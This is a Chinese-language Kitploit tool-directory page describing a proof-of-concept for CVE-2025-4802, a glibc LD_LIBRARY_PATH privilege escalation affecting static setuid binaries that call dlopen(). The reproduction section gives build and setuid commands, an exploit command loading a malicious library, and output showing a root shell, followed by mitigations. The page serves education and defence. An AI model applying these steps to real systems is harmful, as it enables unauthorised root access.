Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-4802-Proof-of-Concept — 针对易受 dlopen 与 LD_LIBRARY_PATH 攻击的静态编译 setuid 二进制文件的概念验证 | Kitploit
工具/GitHubGitHub/betizzel/cve-2025-4802-proof-of-concept
权限提升漏洞分析漏洞利用学习与教育二进制利用
GitHubbetizzel/cve-2025-4802-proof-of-concept

CVE-2025-4802-Proof-of-Concept

针对易受 dlopen 与 LD_LIBRARY_PATH 攻击的静态编译 setuid 二进制文件的概念验证

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
217个月前尚未审核

CVE-2025-4802 — 概念验证

⚠️ 免责声明: 本仓库仅供教育和授权安全研究目的使用。 请勿对您不拥有或未获得明确测试许可的系统使用此漏洞利用程序。滥用可能违反法律法规。

CVE 摘要

字段详情
CVE IDCVE-2025-4802
受影响软件GNU C 库(glibc)
受影响版本2.27 – 2.38
漏洞类型通过不可信的 LD_LIBRARY_PATH 进行权限提升
攻击向量本地

描述

GNU C 库(glibc)2.27 至 2.38 版本中存在一个漏洞,允许攻击者在调用 dlopen() 的静态编译的 setuid 二进制文件中利用 LD_LIBRARY_PATH 环境变量。

通常情况下,动态链接器会为 setuid 程序清理 LD_LIBRARY_PATH。然而,静态编译的二进制文件完全绕过了动态链接器,因此 LD_LIBRARY_PATH 从未被清除。当此类二进制文件调用 dlopen()(直接调用,或通过 setlocale() 或 getaddrinfo() 等 NSS 函数间接调用)时,glibc 会使用攻击者控制的 LD_LIBRARY_PATH 来解析共享库,从而以提升的权限实现任意代码执行。

工作原理

  1. 一个静态编译的 setuid-root 二进制文件调用 dlopen("myso.so", ...) 按名称(而非绝对路径)加载共享对象。
  2. 由于该二进制文件是静态链接的,动态链接器(ld-linux.so)永远不会运行,因此 LD_LIBRARY_PATH 不会被清理。
  3. 攻击者创建一个恶意共享对象(myso.so),它导出相同的 hello() 符号,但会生成一个 root shell。
  4. 攻击者设置 LD_LIBRARY_PATH 指向包含恶意库的目录。
  5. 当 setuid 二进制文件运行时,它会加载攻击者的库而非合法库,以 root 身份执行任意代码。

仓库结构

root@kitploit:~
.
├── main.c                          # 存在漏洞的 setuid 二进制文件源码
├── myso.c                          # 合法的共享对象(安全)
├── evil_library/
│   └── evilso.c                    # 恶意共享对象(生成 root shell)
├── proof_of_concept_screenshot.png # 漏洞利用的终端截图
├── proof_of_concept_video.mp4      # 视频演示
├── Makefile                        # 构建自动化
└── README.md

前提条件

  • 操作系统: Fedora 39(或任何使用存在漏洞的 glibc 的 Linux 发行版)
  • glibc 版本: 2.27 – 2.38(使用 ldd --version 检查)
  • 软件包: gcc、make
  • root 访问权限以设置 setuid 位

复现步骤

1. 构建所有内容

root@kitploit:~
make all

或手动执行:

root@kitploit:~
# 构建合法的共享对象
gcc -shared -o myso.so -fPIC myso.c

# 构建存在漏洞的二进制文件(静态链接)
gcc -static -o main main.c -ldl

# 构建恶意共享对象
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. 设置 Setuid 位(需要 root)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. 正常运行(安全行为)

root@kitploit:~
./main

预期输出:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. 利用 LD_LIBRARY_PATH(恶意行为)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

预期输出:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

该二进制文件从 evil_library/ 加载攻击者的 myso.so 而非合法库,从而生成一个 root shell。

概念验证

概念验证截图

还提供视频演示:proof_of_concept_video.mp4

缓解措施

  • 升级 glibc 至已修补版本(> 2.38)
  • 对于使用 dlopen() 的 setuid 二进制文件,避免静态链接
  • 在 dlopen() 调用中使用绝对路径而非裸库名
  • 在调用 dlopen() 之前放弃权限
  • 使用编译器/链接器加固标志,并尽可能避免使用 setuid

资源

  • NVD — CVE-2025-4802
下载工具